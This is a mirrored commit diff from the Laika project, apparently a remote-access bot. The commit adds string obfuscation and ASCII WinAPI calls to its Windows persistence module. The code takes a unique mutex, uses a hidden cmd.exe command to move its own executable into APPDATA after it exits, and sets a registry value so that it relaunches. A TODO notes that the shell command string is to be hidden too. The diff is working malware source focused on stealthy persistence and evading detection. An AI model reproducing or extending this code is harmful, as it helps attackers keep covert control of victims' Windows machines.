mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-10-31 02:20:21 +00:00 
			
		
		
		
	Win: winpersist.c now uses obfuscation
- The API was switched to force Ascii versions of the winapi
This commit is contained in:
		| @@ -1,4 +1,4 @@ | ||||
| /* platform specific code for achieving persistence on windows */ | ||||
| /* platform specific code for achieving persistence on windows (FORCES ASCII) */ | ||||
|  | ||||
| #include <windows.h> | ||||
| #include <shlobj.h> | ||||
| @@ -10,6 +10,8 @@ | ||||
| #include "lconfig.h" | ||||
| #include "lmem.h" | ||||
| #include "lerror.h" | ||||
| #include "lvm.h" | ||||
| #include "lbox.h" | ||||
|  | ||||
| /*      we want a semi-random mutex that is stable between similar builds, | ||||
| *   so we use the GIT_VERSION as our mutex :D */ | ||||
| @@ -31,14 +33,18 @@ bool laikaB_checkRoot() { | ||||
|  | ||||
| /* mark that laika is currently running */ | ||||
| void laikaB_markRunning() { | ||||
|     laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX)); | ||||
|     LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX); | ||||
|  | ||||
|     laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex); | ||||
|  | ||||
|     if (!laikaB_mutex) { | ||||
|         /* mutex doesn't exist, we're the only laika process :D */ | ||||
|         laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX)); | ||||
|         laikaB_mutex = CreateMutexA(NULL, 0, mutex); | ||||
|     } else { | ||||
|         LAIKA_ERROR("Mutex already exists!\n"); | ||||
|     } | ||||
|  | ||||
|     LAIKA_BOX_SKID_END(mutex); | ||||
| } | ||||
|  | ||||
| /* unmark that laika is currently running */ | ||||
| @@ -46,84 +52,89 @@ void laikaB_unmarkRunning() { | ||||
|     ReleaseMutex(laikaB_mutex); | ||||
| } | ||||
|  | ||||
| HKEY openReg(HKEY key, LPCTSTR subKey) { | ||||
| HKEY openReg(HKEY key, LPCSTR subKey) { | ||||
|     HKEY hKey; | ||||
|  | ||||
|     if (RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) | ||||
|     if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) | ||||
|         LAIKA_ERROR("Failed to open registry key!\n"); | ||||
|  | ||||
|     return hKey; | ||||
| } | ||||
|  | ||||
| /* returns raw string value from registry  */ | ||||
| LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { | ||||
|     LPTSTR str = NULL; | ||||
| LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) { | ||||
|     LPSTR str = NULL; | ||||
|     DWORD ret; | ||||
|  | ||||
|     /* get the size */ | ||||
|     *sz = 0; | ||||
|     RegQueryValueEx(key, val, NULL, NULL, NULL, sz); | ||||
|     RegQueryValueExA(key, val, NULL, NULL, NULL, sz); | ||||
|  | ||||
|     if (*sz != 0) { | ||||
|         str = (LPTSTR)laikaM_malloc(*sz); | ||||
|         str = (LPSTR)laikaM_malloc(*sz); | ||||
|  | ||||
|         if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) | ||||
|         if ((ret = RegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) | ||||
|             LAIKA_ERROR("Failed to read registry!\n"); | ||||
|     } | ||||
|  | ||||
|     return str; | ||||
| } | ||||
|  | ||||
| void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) { | ||||
| void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) { | ||||
|     LONG code; | ||||
|  | ||||
|     if ((code = RegSetValueEx(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) | ||||
|     if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) | ||||
|         LAIKA_ERROR("Failed to write registry!\n"); | ||||
| } | ||||
|  | ||||
| void getExecutablePath(LPTSTR path) { | ||||
|     TCHAR modulePath[MAX_PATH] = {0}; | ||||
|     if (GetModuleFileName(NULL, modulePath, MAX_PATH) == 0) | ||||
| void getExecutablePath(LPSTR path) { | ||||
|     CHAR modulePath[MAX_PATH] = {0}; | ||||
|     if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0) | ||||
|         LAIKA_ERROR("Failed to get executable path!\n"); | ||||
|  | ||||
|     lstrcat(path, TEXT("\"")); | ||||
|     lstrcat(path, modulePath); | ||||
|     lstrcat(path, TEXT("\"")); | ||||
|     lstrcpyA(path, "\""); | ||||
|     lstrcatA(path, modulePath); | ||||
|     lstrcatA(path, "\""); | ||||
|  | ||||
|     LAIKA_DEBUG("EXE: %s\n", path); | ||||
| } | ||||
|  | ||||
| void getInstallPath(LPTSTR path) { | ||||
|     TCHAR SHpath[MAX_PATH] = {0}; | ||||
| void getInstallPath(LPSTR path) { | ||||
|     LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR); | ||||
|     LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE); | ||||
|     CHAR SHpath[MAX_PATH] = {0}; | ||||
|  | ||||
|     /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */ | ||||
|     if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK) | ||||
|     if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK) | ||||
|         LAIKA_ERROR("Failed to get APPDATA!\n"); | ||||
|  | ||||
|     PathAppend(SHpath, TEXT(LAIKA_INSTALL_DIR)); | ||||
|     PathAppendA(SHpath, instDir); | ||||
|  | ||||
|     if (!CreateDirectory(SHpath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) | ||||
|         LAIKA_ERROR("Failed to create directory '%s'!\n", path); | ||||
|     if (!CreateDirectoryA(SHpath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) | ||||
|         LAIKA_ERROR("Failed to create directory '%s'!\n", SHpath); | ||||
|  | ||||
|     PathAppend(SHpath, TEXT(LAIKA_INSTALL_FILE)); | ||||
|     PathAppendA(SHpath, instFile); | ||||
|  | ||||
|     /* write to path */ | ||||
|     lstrcat(path, TEXT("\"")); | ||||
|     lstrcat(path, SHpath); | ||||
|     lstrcat(path, TEXT("\"")); | ||||
|     lstrcpyA(path, "\""); | ||||
|     lstrcatA(path, SHpath); | ||||
|     lstrcatA(path, "\""); | ||||
|      | ||||
|     LAIKA_DEBUG("INSTALL: %s\n", path); | ||||
|  | ||||
|     LAIKA_BOX_SKID_END(instFile); | ||||
|     LAIKA_BOX_SKID_END(instDir); | ||||
| } | ||||
|  | ||||
| /* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we | ||||
|     spawn a shell to move the exe *after* we exit. */ | ||||
| void installSelf() { | ||||
|     TCHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0}; | ||||
|     CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0}; | ||||
|  | ||||
|     getExecutablePath(szFile); | ||||
|     getInstallPath(szInstall); | ||||
|  | ||||
|     if (lstrcmp(szFile, szInstall) == 0) { | ||||
|     if (lstrcmpA(szFile, szInstall) == 0) { | ||||
|         LAIKA_DEBUG("Laika already installed!\n"); | ||||
|         return; | ||||
|     } | ||||
| @@ -131,14 +142,14 @@ void installSelf() { | ||||
|     LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall); | ||||
|  | ||||
|     /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */ | ||||
|     lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move /Y ")); | ||||
|     lstrcat(szCmd, szFile); | ||||
|     lstrcat(szCmd, TEXT(" ")); | ||||
|     lstrcat(szCmd, szInstall); | ||||
|     lstrcat(szCmd, TEXT(" > NUL & ")); | ||||
|     lstrcat(szCmd, szInstall); | ||||
|     lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */ | ||||
|     lstrcatA(szCmd, szFile); | ||||
|     lstrcatA(szCmd, " "); | ||||
|     lstrcatA(szCmd, szInstall); | ||||
|     lstrcatA(szCmd, " > NUL & "); | ||||
|     lstrcatA(szCmd, szInstall); | ||||
|  | ||||
|     if (GetEnvironmentVariable("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecute(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) | ||||
|     if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) | ||||
|         LAIKA_ERROR("Failed to start shell for moving exe!\n"); | ||||
|  | ||||
|     laikaB_unmarkRunning(); | ||||
| @@ -146,35 +157,39 @@ void installSelf() { | ||||
| } | ||||
|  | ||||
| void installRegistry() { | ||||
|     TCHAR newRegValue[MAX_PATH] = {0}; | ||||
|     LPTSTR regVal; | ||||
|     LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY); | ||||
|     LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL); | ||||
|     CHAR newRegValue[MAX_PATH] = {0}; | ||||
|     LPSTR regVal; | ||||
|     DWORD regSz; | ||||
|     DWORD newRegSz; | ||||
|     HKEY reg; | ||||
|  | ||||
|     /* create REG_MULTI_SZ */ | ||||
|     getInstallPath(newRegValue); | ||||
|     newRegSz = lstrlen(newRegValue); | ||||
|     newRegSz = lstrlenA(newRegValue); | ||||
|  | ||||
|     reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY)); | ||||
|     if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), ®Sz)) != NULL) { | ||||
|     reg = openReg(HKEY_CURRENT_USER, regKey); | ||||
|     if ((regVal = readReg(reg, regKeyVal, ®Sz)) != NULL) { | ||||
|         LAIKA_DEBUG("Current Registry value: '%s'\n", regVal); | ||||
|  | ||||
|         /* compare regValue with the install path we'll need */ | ||||
|         if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) { | ||||
|             LAIKA_DEBUG("No match! Updating registry...\n"); | ||||
|             /* it's not our install path, so write it */ | ||||
|             writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz); | ||||
|             writeReg(reg, regKeyVal, newRegValue, newRegSz); | ||||
|         } | ||||
|  | ||||
|         laikaM_free(regVal); | ||||
|     } else { | ||||
|         LAIKA_DEBUG("Empty registry! Updating registry...\n"); | ||||
|         /* no registry value set! install it and set! */ | ||||
|         writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz); | ||||
|         writeReg(reg, regKeyVal, newRegValue, newRegSz); | ||||
|     } | ||||
|  | ||||
|     RegCloseKey(reg); | ||||
|     LAIKA_BOX_SKID_END(regKeyVal); | ||||
|     LAIKA_BOX_SKID_END(regKey); | ||||
| } | ||||
|  | ||||
| /* try to gain persistance on machine */ | ||||
|   | ||||
		Reference in New Issue
	
	Block a user